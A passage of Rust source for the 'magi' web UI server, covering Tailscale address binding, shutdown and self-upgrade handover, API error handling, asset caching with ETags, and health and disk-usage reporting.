1800    // whatever that single check found, no matter how many releases ship
1801    // afterwards. The periodic checker below keeps it current and is
1802    // cancelled when the listener finishes.
1803    let port = if opts.port == 0 {
1804        std::env::var(RESTART_PORT_ENV)
1805            .ok()
1806            .and_then(|value| value.parse::<u16>().ok())
1807            .filter(|port| *port != 0)
1808            .unwrap_or(0)
1809    } else {
1810        opts.port
1811    };
1812    let socket = SocketAddr::new(addr, port);
1813    let listener = bind_waiting(socket).await?;
1814    let bound = listener.local_addr().context("read bound web address")?;
1815    let port = bound.port();
1816    let url = format!("http://{bound}");
1817    tracing::info!(
1818        "magi web UI on {url} - there is no authentication, so anyone who can \
1819         reach this address can file and hold tasks: the tailnet is the \
1820         security boundary"
1821    );
1822    // A legacy predecessor may request first-migration scheduler startup.
1823    if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
1824        ui.start_detached_loop()
1825            .await
1826            .map_err(|e| anyhow::anyhow!(e.message))?;
1827    }
1828    if opts.open {
1829        // The URL alone on stdout, for a caller that wants to open it. magi
1830        // does not spawn a browser: on the machine this usually runs on there
1831        // is no display, and a failed launch would be the only output.
1832        println!("{url}");
1833    }
1834
1835    // On its own task, so nothing this function awaits can stop the address
1836    // being answered. `hand_over` is where it is given up.
1837    let recheck_ui = ui.clone();
1838    let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
1839    let recheck = tokio::spawn(run_update_recheck(recheck_ui));
1840    let interrupted = async {
1841        if tokio::signal::ctrl_c().await.is_err() {
1842            // No handler on this platform, so there is no signal to act on.
1843            // Never resolving is the safe answer: a failed registration must
1844            // not masquerade as the operator asking for a shutdown and take
1845            // the UI down on startup.
1846            std::future::pending::<()>().await;
1847        }
1848    };
1849    let handover = wait_for_handover(&HANDOVER);
1850    let outcome = tokio::select! {
1851        joined = &mut served => match joined {
1852            Ok(outcome) => outcome.context("serve the web UI"),
1853            Err(e) => Err(e).context("the task serving the web UI ended"),
1854        },
1855        () = interrupted => {
1856            recheck.abort();
1857            tracing::info!("shutting down the web UI; detached workers continue");
1858            close_admissions(&admissions).await;
1859            served.abort();
1860            let _ = served.await;
1861            Ok(())
1862        }
1863        () = handover => {
1864            recheck.abort();
1865            let successor_home = home.clone();
1866            hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
1867        }
1868    };
1869    recheck.abort();
1870    let _ = recheck.await;
1871    updater::log_step(
1872        &home,
1873        &match &outcome {
1874            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1875            Err(e) => format!("serve: returning an error: {e:#}"),
1876        },
1877    );
1878    outcome
1879}
1880
1881/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1882/// process's own working directory is not a git checkout at all - the
1883/// checkout [`repos::discover_verified`] finds instead.
1884///
1885/// Only the unmodified default is ever replaced: an operator who named a
1886/// directory outright, git checkout or not, gets exactly that directory
1887/// back, and the same story downstream (a talk whose briefing embeds a
1888/// non-git directory, and an agent that has to ask the operator where the
1889/// real repository is) that has always told them so - substituting a guess
1890/// for an explicit answer would be a second, silent opinion about what they
1891/// meant. There is no instruction or task text yet to match against this
1892/// early, so only [`repos::discover_verified`]'s own-repository tier can
1893/// ever settle this - the hint tier never fires here.
1894///
1895/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1896/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1897/// or a git installation that is broken in exactly the way that made the
1898/// original `canonical` check above fail too - so it is re-checked with
1899/// `git::toplevel` before it is ever used in place of the operator's own
1900/// directory.
1901async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1902    if repo != FsPath::new(".") {
1903        return repo;
1904    }
1905    let Ok(canonical) = repo.canonicalize() else {
1906        return repo;
1907    };
1908    if git::toplevel(&canonical).await.is_ok() {
1909        return repo;
1910    }
1911    let Some(home) = dirs::home_dir() else {
1912        return repo;
1913    };
1914    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1915        Some(found) => {
1916            tracing::info!(
1917                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1918                canonical.display(),
1919                found.path.display(),
1920                found.reason,
1921            );
1922            found.path
1923        }
1924        None => repo,
1925    }
1926}
1927
1928/// Close new ingress and finish only transactions publishing durable work.
1929/// The writer waits for owned admission guards, not task or chat turn leases.
1930async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
1931    *admissions.write().await = true;
1932}
1933
1934/// Restart only the scheduler and web listener, never their execution workers.
1935/// The old listener must be fully released before the successor is started.
1936async fn hand_over(
1937    home: &FsPath,
1938    admissions: &tokio::sync::RwLock<bool>,
1939    served: tokio::task::JoinHandle<std::io::Result<()>>,
1940    successor: impl FnOnce() -> Result<u32>,
1941) -> Result<()> {
1942    close_admissions(admissions).await;
1943    if let Some(mut progress) = updater::read_progress(home) {
1944        progress.advance(updater::Stage::Restarting);
1945        progress.detail =
1946            Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
1947        updater::write_progress_logged(home, &progress);
1948    }
1949    updater::log_step(
1950        home,
1951        "restarting scheduler without parking execution workers",
1952    );
1953    let scheduler = daemon::restart_detached(home).await;
1954    if let Err(error) = &scheduler {
1955        let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
1956        updater::log_warn(
1957            home,
1958            &format!("scheduler restart failed; restoring the web UI: {error:#}"),
1959        );
1960    }
1961    updater::log_step(home, "releasing the web listener");
1962    served.abort();
1963    let _ = served.await;
1964    updater::log_step(home, "web listener released; starting the successor");
1965    match successor() {
1966        Ok(pid) => {
1967            updater::log_step(home, &format!("successor started, pid {pid}"));
1968            scheduler
1969        }
1970        Err(e) => {
1971            let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
1972            Err(e)
1973        }
1974    }
1975}
1976
1977/// Resolve `--bind` to an address, plus a warning when the answer is not what
1978/// the operator asked for.
1979///
1980/// Split out from [`serve`] because the interesting half - deciding whether
1981/// Tailscale gave us something usable - is testable without opening a socket.
1982pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1983    match bind {
1984        Bind::Addr(addr) => (*addr, None),
1985        Bind::Auto => match tailscale_ip() {
1986            Ok(ip) => (IpAddr::V4(ip), None),
1987            Err(why) => (
1988                IpAddr::V4(Ipv4Addr::LOCALHOST),
1989                Some(format!(
1990                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1991                     local-only and a phone cannot reach it; start Tailscale \
1992                     or pass --bind <addr>"
1993                )),
1994            ),
1995        },
1996    }
1997}
1998
1999/// This machine's Tailscale IPv4, or why there is not one.
2000///
2001/// `tailscale ip -4` is a local call against the running daemon and returns in
2002/// milliseconds, so it is fine to make it synchronously before the server
2003/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
2004/// CGNAT block Tailscale assigns from, and anything else on that output would
2005/// be a different tool answering.
2006fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2007    let out = std::process::Command::new("tailscale")
2008        .args(["ip", "-4"])
2009        .quiet()
2010        .output()
2011        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2012    if !out.status.success() {
2013        let why = String::from_utf8_lossy(&out.stderr);
2014        let why = why.trim();
2015        return Err(format!(
2016            "`tailscale ip -4` failed ({}){}",
2017            out.status,
2018            if why.is_empty() {
2019                String::new()
2020            } else {
2021                format!(": {why}")
2022            }
2023        ));
2024    }
2025    String::from_utf8_lossy(&out.stdout)
2026        .lines()
2027        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2028        .find(is_tailnet)
2029        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2030}
2031
2032/// Is this address in the CGNAT block Tailscale hands out from?
2033fn is_tailnet(ip: &Ipv4Addr) -> bool {
2034    let o = ip.octets();
2035    o[0] == 100 && (64..=127).contains(&o[1])
2036}
2037
2038/// What every handler returns. Spelled out because `Result` in this crate is
2039/// `anyhow::Result`, and a handler's error is a status code as much as a
2040/// message.
2041type ApiResult<T> = std::result::Result<T, ApiError>;
2042
2043/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
2044#[derive(Debug)]
2045struct ApiError {
2046    status: StatusCode,
2047    message: String,
2048    text_reason: Option<crate::question_delivery::UnavailableReason>,
2049}
2050
2051impl ApiError {
2052    /// The client asked for something malformed.
2053    fn bad_request(message: impl Into<String>) -> Self {
2054        Self {
2055            text_reason: None,
2056            status: StatusCode::BAD_REQUEST,
2057            message: message.into(),
2058        }
2059    }
2060
2061    /// No such run or task.
2062    fn not_found(message: impl Into<String>) -> Self {
2063        Self {
2064            text_reason: None,
2065            status: StatusCode::NOT_FOUND,
2066            message: message.into(),
2067        }
2068    }
2069
2070    /// Someone else owns the thing the client wants to change.
2071    /// Re-badge an error whose default mapping is wrong for this route.
2072    fn with_status(mut self, status: StatusCode) -> Self {
2073        self.status = status;
2074        self
2075    }
2076
2077    /// A rules violation from a domain type, reported as the caller's fault.
2078    /// `Question::answer` rejects an unoffered choice, and that is a bad
2079    /// request, not a server error.
2080    fn bad_request_from(e: anyhow::Error) -> Self {
2081        Self::bad_request(format!("{e:#}"))
2082    }
2083
2084    fn conflict(message: impl Into<String>) -> Self {
2085        Self {
2086            text_reason: None,
2087            status: StatusCode::CONFLICT,
2088            message: message.into(),
2089        }
2090    }
2091
2092    /// Our fault, or the disk's.
2093    fn internal(message: impl Into<String>) -> Self {
2094        Self {
2095            text_reason: None,
2096            status: StatusCode::INTERNAL_SERVER_ERROR,
2097            message: message.into(),
2098        }
2099    }
2100}
2101
2102impl From<anyhow::Error> for ApiError {
2103    /// Errors from `queue` and `run` carry their context chain, and the whole
2104    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
2105    /// value at line 3" is a message an operator can act on, and there is no
2106    /// secret in a path on a single-user tailnet.
2107    fn from(e: anyhow::Error) -> Self {
2108        Self::internal(format!("{e:#}"))
2109    }
2110}
2111
2112impl IntoResponse for ApiError {
2113    fn into_response(self) -> Response {
2114        let mut body = serde_json::json!({ "error": self.message });
2115        if let Some(reason) = self.text_reason {
2116            body["code"] = serde_json::json!("question_text_unavailable");
2117            body["reason"] = serde_json::json!(reason);
2118        }
2119        (self.status, Json(body)).into_response()
2120    }
2121}
2122
2123/// Run a handler's filesystem work off the executor.
2124///
2125/// Every route that touches the disk goes through here rather than each one
2126/// arguing about whether its own read is small enough. Uniform because the
2127/// expensive case is not rare: `run.json` for a finished competition holds
2128/// every judgement, deliberation turn and review round, so listing a few
2129/// hundred runs is megabytes of parsing, and the executor threads doing it are
2130/// the same ones serving the change stream of every other connected phone.
2131async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2132where
2133    T: Send + 'static,
2134{
2135    #[cfg(test)]
2136    let job = request_cost::carry(job);
2137    match tokio::task::spawn_blocking(job).await {
2138        Ok(result) => result,
2139        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2140    }
2141}
2142
2143/// Cache policy for the three compiled-in front-end files.
2144///
2145/// The whole interface is `include_str!`ed into the binary, so its content
2146/// changes only when the binary does - and a phone that keeps a copy is
2147/// welcome to, right up until the deck is replaced. Without a single cache
2148/// header, browsers were free to invent their own policy, and one did:
2149/// yukimemi's phone went on showing "Candidates must be folded before
2150/// deleting. Run `magi fold` first." - a sentence deleted two releases
2151/// earlier - from a run detail served by a deck that no longer contained it.
2152/// The delete button he was told about was right there, and unreachable.
2153///
2154/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
2155/// every time, the answer is a 304 costing one small round trip while the
2156/// deck is unchanged, and the moment it is replaced the tag differs and the
2157/// new interface arrives. Correctness over bytes - this is one file of a few
2158/// tens of kilobytes on a tailnet, and being a version behind is not a
2159/// cosmetic problem when the difference is whether a button exists.
2160const ASSET_CACHE: &str = "no-cache, must-revalidate";
2161
2162/// `ETag` for the compiled-in assets, distinct per build.
2163///
2164/// The version alone would leave a locally built deck - `cargo install
2165/// --path .` twice at the same version, which is the normal way to iterate -
2166/// serving a stale tag for changed bytes. The build timestamp is what makes
2167/// two builds of `0.3.0` differ.
2168fn asset_etag() -> &'static str {
2169    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2170        format!(
2171            "\"{}-{}\"",
2172            env!("CARGO_PKG_VERSION"),
2173            // Length is a cheap, deterministic stand-in for a hash: the
2174            // three files are compiled in together, so any edit to any of
2175            // them almost certainly changes the total, and a rebuild is what
2176            // this needs to track rather than every possible byte pattern.
2177            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2178        )
2179    });
2180    &TAG
2181}
2182
2183/// Headers for a compiled-in asset of `mime`.
2184fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2185    [
2186        (header::CONTENT_TYPE, mime),
2187        (header::CACHE_CONTROL, ASSET_CACHE),
2188        (header::ETAG, asset_etag()),
2189    ]
2190}
2191
2192/// Serve a compiled-in asset, answering `304` when the client already has it.
2193///
2194/// axum does not compare `If-None-Match` for us, and a header the server sets
2195/// but never honours is worse than none: the phone revalidates on every load
2196/// and is handed the whole file back each time. Doing the comparison is what
2197/// makes `must-revalidate` cost one small round trip rather than the
2198/// interface.
2199fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2200    let tag = asset_etag();
2201    let known = headers
2202        .get(header::IF_NONE_MATCH)
2203        .and_then(|v| v.to_str().ok())
2204        // A revalidating client may send several, and a proxy may weaken the
2205        // tag to `W/"..."`; matching on containment covers both without
2206        // parsing the grammar.
2207        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2208    if known {
2209        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2210    }
2211    (asset_headers(mime), body).into_response()
2212}
2213
2214async fn index(headers: header::HeaderMap) -> Response {
2215    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2216}
2217
2218async fn app_css(headers: header::HeaderMap) -> Response {
2219    asset(&headers, "text/css; charset=utf-8", APP_CSS)
2220}
2221
2222async fn app_js(headers: header::HeaderMap) -> Response {
2223    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2224}
2225
2226/// What `/api/health` answers.
2227#[derive(Debug, Serialize)]
2228struct HealthView {
2229    version: &'static str,
2230    home: String,
2231    queue_rev: u64,
2232    runs_rev: u64,
2233    /// The same revisions [`events`] streams for the question and talk
2234    /// stores.
2235    ///
2236    /// Here because this route is what the front end falls back to when the
2237    /// change stream is not up - it re-polls health on a timer and on wake, and
2238    /// takes the revisions from the answer. Without these the fallback
2239    /// compares `undefined` against `undefined` for both stores, decides
2240    /// nothing moved, and a phone with a dead stream never learns that a
2241    /// question was asked or that a talk took a turn. `queue_rev` and
2242    /// `runs_rev` above have always been here for exactly this reason; the rule
2243    /// is that every revision the stream carries, this route carries too.
2244    questions_rev: u64,
2245    /// See [`HealthView::questions_rev`]. The standing chat's own store.
2246    talks_rev: u64,
2247    /// See [`HealthView::questions_rev`]. The notification centre's store.
2248    notifications_rev: u64,
2249    /// Notifications nobody has read yet: the bell's badge before
2250    /// `/api/notifications` has answered.
2251    notifications_unread: usize,
2252    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
2253    /// is not on disk anywhere, so a phone with no change stream has no other
2254    /// way to notice that the loop it is waiting on was started from another
2255    /// device.
2256    loop_rev: u64,
2257    /// Runs on disk whose state this build cannot parse - almost always a
2258    /// schema bump, occasionally a run killed mid-write.
2259    ///
2260    /// Reported because the list silently skips them, and "no competitions
2261    /// yet" is a lie when six of them are sitting in the runs directory. The
2262    /// terminal deck learned the same lesson: a run that fails to parse must
2263    /// not disappear from the count.
2264    runs_unreadable: usize,
2265    /// The disk, and what the runs and their worktrees occupy on it.
2266    ///
2267    /// This is the incident the janitor exists for: magi alone put 30 GB into
2268    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
2269    /// is exactly where the operator learns "the disk is the constraint" -
2270    /// the diagnosis that a run is being held for want of space has to be
2271    /// checkable on the same screen.
2272    disk: DiskView,
2273    /// Questions nobody has answered yet, including ones an owner talked
2274    /// back on and is now waiting for the agent's reply to. A round trip
2275    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
2276    /// while the ball is in the agent's court - see
2277    /// [`crate::ask::Questions::count_open`].
2278    questions_open: usize,
2279    /// Of those, how many actually need the owner right now: open, and not
2280    /// [`crate::ask::Question::waiting_on_agent`].
2281    ///
2282    /// The one number that means "nothing will happen until a human acts" -
2283    /// a parked run consumes nothing and progresses never - and the count the
2284    /// ask bar, the nav badge and the document title fall back to before
2285    /// `/api/questions` has answered, so those notification channels clear
2286    /// the instant the owner asks back and reappear the instant the agent
2287    /// replies, instead of sitting lit for however long the agent thinks.
2288    questions_needs_owner: usize,
2289    daemon: DaemonView,
2290    /// The independently controllable scheduler, as `/api/loop` reports it.
2291    ///
2292    /// Here so a phone that has just woken needs one request to know whether
2293    /// anything is going to happen at all: `daemon` says a loop is alive
2294    /// somewhere, and this says whether it is one this UI can stop.
2295    #[serde(rename = "loop")]
2296    looping: LoopView,
2297    /// Whether a release newer than this build is known, and which.
2298    ///
2299    /// From [`updater::Checker::cached_update`] - the same throttled state the
2300    /// CLI's `notify` mode banners from - never a live check: this route is
2301    /// polled every few seconds, and a live check on each poll would spend
2302    /// GitHub's rate limit before the operator finished reading the strip.
2303    update: UpdateView,
2304    /// The self-upgrade this deck last set in motion, or `null` before the
2305    /// first one. Read off disk, so the successor can report what its
2306    /// predecessor started.
2307    upgrade: Option<UpgradeProgressView>,
2308    /// Detached jobs survive replacement of this web process. Each reports
2309    /// its own immutable executable generation rather than the web version.
2310    jobs: Vec<WorkerView>,
2311    upgrade_request_error: Option<UpgradeRequestFailure>,
2312}
2313
2314/// Public execution metadata only. Job payloads contain private configuration
2315/// and must never be returned by the health endpoint.
2316#[derive(Debug, Serialize)]
2317struct WorkerView {
2318    id: String,
2319    kind: String,
2320    key: String,
2321    pid: Option<u32>,
2322    status: crate::worker::Status,
2323    generation: String,
2324    version: Option<String>,
2325    queue_owned: bool,
2326}
2327
2328impl From<crate::worker::Job> for WorkerView {
2329    fn from(job: crate::worker::Job) -> Self {
2330        let queue_owned = job.kind == "task"
2331            && job
2332                .payload
2333                .get("standalone")
2334                .and_then(serde_json::Value::as_bool)
2335                != Some(true);
2336        Self {
2337            id: job.id,
2338            kind: job.kind,
2339            key: job.key,
2340            pid: job.pid,
2341            status: job.status,
2342            generation: job.generation,
2343            version: job.version,
2344            queue_owned,
2345        }
2346    }
2347}
2348
2349/// What `/api/health` knows about a release newer than this build.
2350///
2351/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2352/// is already the newest" from "never checked" - both are `None` - and the
2353/// phone needs to tell those apart to decide whether the deck can be trusted
2354/// to have an opinion at all.
2355#[derive(Debug, Serialize)]
2356struct UpdateView {
2357    /// A newer release is known to exist.
2358    available: bool,
2359    /// Its tag, when `available`.
2360    to: Option<String>,
2361}
2362
2363/// [`updater::Progress`] as `/api/health` reports it.
2364#[derive(Debug, Serialize)]
2365struct UpgradeProgressView {
2366    trigger: updater::UpgradeTrigger,
2367    stage: updater::Stage,
2368    from: String,
2369    to: Option<String>,
2370    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2371    /// the step it is finishing before the address is handed over.
2372    waiting_on: Option<String>,
2373    started_at: Timestamp,
2374    updated_at: Timestamp,
2375    detail: Option<String>,
2376    /// Seconds the stage has outlived its allowance, when it has - see
2377    /// [`updater::stall`]. `null` while the stage is moving normally.
2378    stuck_for_secs: Option<i64>,
2379    /// Which kind of stuck: `never_entered` (hand_over left no record of
2380    /// starting) or `stopped_beating`. `null` when not stuck.
2381    stuck_kind: Option<updater::StallKind>,
2382    /// `hand_over` is alive and waiting on the loop: however long that takes,
2383    /// it is not an overdue upgrade.
2384    handover_alive: bool,
2385}
2386
2387/// Whether [`run_update_recheck`] may act at all this tick.
2388///
2389/// The same two conditions [`updater::Checker::new`] and
2390/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2391/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2392/// GitHub from this process" - on a button press or on a timer alike.
2393fn should_spawn_recheck(cfg: &Update) -> bool {
2394    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2395}
2396
2397/// Whether this tick should actually reach the network, once checking itself
2398/// is allowed.
2399///
2400/// An upgrade already in flight must not be raced by a check that discovers
2401/// a *newer* release while one is still installing - a phone watching
2402/// `/api/health` would see the answer change out from under the upgrade it
2403/// already asked for. Past that, [`updater::Checker::should_check`] is the
2404/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2405/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2406/// polling period, is what keeps this task's network use to at most once per
2407/// `[update] interval` regardless of how often it wakes up.
2408fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2409    if progress.is_some_and(|p| !p.stage.terminal()) {
2410        return false;
2411    }
2412    checker.should_check()
2413}
2414
2415/// How long [`run_update_recheck`] sleeps before its next wake-up.
2416///
2417/// A fraction of the configured `[update] interval` rather than a fixed
2418/// number: a fixed sleep longer than a short custom interval would leave the
2419/// deck waiting on its own wake-up rather than on `should_check`, so an
2420/// operator who set `interval = "1m"` to make the UI catch up quickly would
2421/// not see that take effect until the next restart - exactly the bug this
2422/// task exists to fix, just moved one level down. Scaling with the interval
2423/// keeps the wake-up prompt relative to what was actually configured, while
2424/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2425/// still what caps the network calls themselves at one per interval,
2426/// regardless of how often this fires.
2427fn recheck_poll_period(cfg: &Update) -> Duration {
2428    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2429}
2430
2431#[derive(Debug, PartialEq, Eq)]
2432enum AutoUpgradeDecision {
2433    Skip(&'static str),
2434    Wait,
2435    Trigger,
2436}
2437
2438fn auto_upgrade_decision(
2439    cfg: &Update,
2440    disabled: bool,
2441    in_motion: bool,
2442    busy: bool,
2443    tag: &str,
2444    failed: Option<&str>,
2445) -> AutoUpgradeDecision {
2446    if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2447        AutoUpgradeDecision::Skip("disabled")
2448    } else if in_motion {
2449        AutoUpgradeDecision::Skip("upgrade already in progress")
2450    } else if failed == Some(tag) {
2451        AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2452    } else if busy {
2453        AutoUpgradeDecision::Wait
2454    } else {
2455        AutoUpgradeDecision::Trigger
2456    }
2457}
2458
2459/// Refresh the shared cache and optionally request the same handover as the UI.
2460async fn run_update_recheck(ui: Arc<Ui>) {
2461    loop {
2462        let cfg = match Config::discover(&ui.repo, None) {
2463            Ok((cfg, _)) => cfg,
2464            Err(e) => {
2465                updater::log_warn(
2466                    &ui.home,
2467                    &format!("auto-upgrade: config unavailable: {e:#}"),
2468                );
2469                tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2470                continue;
2471            }
2472        };
2473        if should_spawn_recheck(&cfg.update)
2474            && let Some(checker) = updater::Checker::new(&cfg.update)
2475        {
2476            let progress = updater::read_progress(&ui.home);
2477            let mut latest = checker.cached_update();
2478            if update_recheck_due(&checker, progress.as_ref()) {
2479                match checker.newer_release().await {
2480                    Ok(found) => latest = found,
2481                    Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2482                }
2483            }
2484            if cfg.update.auto_restart
2485                && let Some(latest) = latest
2486            {
2487                let response =
2488                    begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2489                updater::log_step(
2490                    &ui.home,
2491                    &format!("auto-upgrade: request status {}", response.status()),
2492                );
2493            }
2494        }
2495        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2496    }
2497}
2498
2499/// [`UpdateView`] from the same throttled, disk-only state
2500/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2501/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2502/// no cached state at all, which is correct: an operator who turned checking
2503/// off gets no opinion, not a stale one.
2504fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2505    let default;
2506    let cfg = match cfg {
2507        Some(cfg) => cfg,
2508        None => {
2509            default = Config::default();
2510            &default
2511        }
2512    };
2513    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2514    match latest {
2515        Some(latest) => UpdateView {
2516            available: true,
2517            to: Some(latest.tag_name),
2518        },
2519        None => UpdateView {
2520            available: false,
2521            to: None,
2522        },
2523    }
2524}
2525
2526/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2527/// from the parked run's own state when the stage is
2528/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2529/// already on disk in `run.json`, so this reads them fresh rather than
2530/// trusting whatever was true the moment the park was requested.
2531fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2532    let now = Timestamp::now();
2533    let lease = updater::read_lease(&ui.home);
2534    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2535    let run_id = alive
2536        .and_then(|l| l.parked_run.as_deref())
2537        .or(progress.parked_run.as_deref());
2538    let parking = progress.stage == updater::Stage::Parking;
2539    let waited = alive.map_or_else(String::new, |l| {
2540        let secs = updater::waited_secs(l, now);
2541        format!(" (waited {} min so far)", secs / 60)
2542    });
2543    let run_text = run_id
2544        .filter(|_| parking)
2545        .map(|id| match read_run(&ui.runs, id).ok() {
2546            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2547            None => format!("run {id} is finishing"),
2548        });
2549    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2550        .filter(|t| parking && !t.is_empty())
2551        .map(|t| format!("{t} finishing"));
2552    let waiting_on = match (run_text, talks_text) {
2553        (None, None) => None,
2554        (run, talks) => {
2555            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2556            Some(format!(
2557                "{} before the address is handed over{waited}",
2558                parts.join(" and ")
2559            ))
2560        }
2561    };
2562    let detail = progress
2563        .detail
2564        .clone()
2565        .or_else(|| updater::read_note(&ui.home, &progress));
2566    let stalled = updater::stall(&progress, lease.as_ref(), now);
2567    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2568    UpgradeProgressView {
2569        trigger: progress.trigger,
2570        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2571        stuck_kind: stalled.map(|s| s.kind),
2572        handover_alive: alive.is_some(),
2573        stage: progress.stage,
2574        from: progress.from,
2575        to: progress.to,
2576        waiting_on,
2577        started_at: progress.started_at,
2578        updated_at: progress.updated_at,
2579        detail,
2580    }
2581}
2582
2583/// Last successful capacity observations, independent of admission/cleanup.
2584/// Cold or unavailable directory measurements are null, never invented zeros.
2585#[derive(Debug, Serialize)]
2586struct DiskView {
2587    /// Free bytes on the volume holding the runs, when measurable.
2588    #[serde(skip_serializing_if = "Option::is_none")]
2589    free_bytes: Option<u64>,
2590    /// Everything the runs directory occupies, when fully measurable.
2591    runs_bytes: Option<u64>,
2592    /// Everything the runs' worktrees occupy.
2593    worktrees_bytes: Option<u64>,
2594    /// The shared build cache's size, when the config names one.
2595    #[serde(skip_serializing_if = "Option::is_none")]
2596    cache_bytes: Option<u64>,
2597    /// Last bounded cleanup report, including retention and failure reasons.
2598    retention: Option<crate::retention::Report>,
2599}
2600
2601/// Capacity walks have their own demand-driven single flight, not the revision
2602/// worker: a large build cache must never delay revisions or a health response.
2603const DISK_REFRESH: Duration = Duration::from_secs(60);
2604
2605#[derive(Debug, Clone, PartialEq, Eq)]
2606struct DiskScope {
2607    runs: PathBuf,
2608    worktrees: PathBuf,
2609    cache: Option<PathBuf>,
2610}
2611
2612impl DiskScope {
2613    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2614        Self {
2615            runs: ui.runs.clone(),
2616            worktrees: ui.worktrees_root.clone(),
2617            cache: cfg.and_then(Config::cache_dir),
2618        }
2619    }
2620}
2621
2622#[derive(Debug, Clone, Copy, Default)]
2623struct DiskCapacity {
2624    free_bytes: Option<u64>,
2625    runs_bytes: Option<u64>,
2626    worktrees_bytes: Option<u64>,
2627    cache_bytes: Option<u64>,
2628}
2629
2630impl DiskCapacity {
2631    fn measure(scope: &DiskScope) -> Self {
2632        Self {
2633            free_bytes: crate::disk::free_bytes(&scope.runs).ok(),
2634            runs_bytes: disk_capacity_size(&scope.runs),
2635            worktrees_bytes: disk_capacity_size(&scope.worktrees),
2636            cache_bytes: scope.cache.as_deref().and_then(disk_capacity_size),
2637        }
2638    }
2639
2640    fn retain_successes(&mut self, next: Self) {
2641        self.free_bytes = next.free_bytes.or(self.free_bytes);
2642        self.runs_bytes = next.runs_bytes.or(self.runs_bytes);
2643        self.worktrees_bytes = next.worktrees_bytes.or(self.worktrees_bytes);
2644        self.cache_bytes = next.cache_bytes.or(self.cache_bytes);
2645    }
2646}
2647
2648/// Like disk::dir_size, do not follow links. Unlike its admission-oriented
2649/// best-effort total, an incomplete observation must not look like an empty tree.
2650fn disk_capacity_size(path: &FsPath) -> Option<u64> {
2651    let metadata = match std::fs::symlink_metadata(path) {
2652        Ok(metadata) => metadata,
2653        Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Some(0),
2654        Err(_) => return None,
2655    };
2656    if !metadata.is_dir() {
2657        return Some(if metadata.is_file() {
2658            metadata.len()
2659        } else {
2660            0
2661        });
2662    }
2663    let mut total = 0;
2664    let mut stack = vec![path.to_owned()];
2665    while let Some(dir) = stack.pop() {
2666        for entry in std::fs::read_dir(dir).ok()? {
2667            let entry = entry.ok()?;
2668            let metadata = entry.metadata().ok()?;
2669            if metadata.is_dir() {
2670                stack.push(entry.path());
2671            } else if metadata.is_file() {
2672                total += metadata.len();
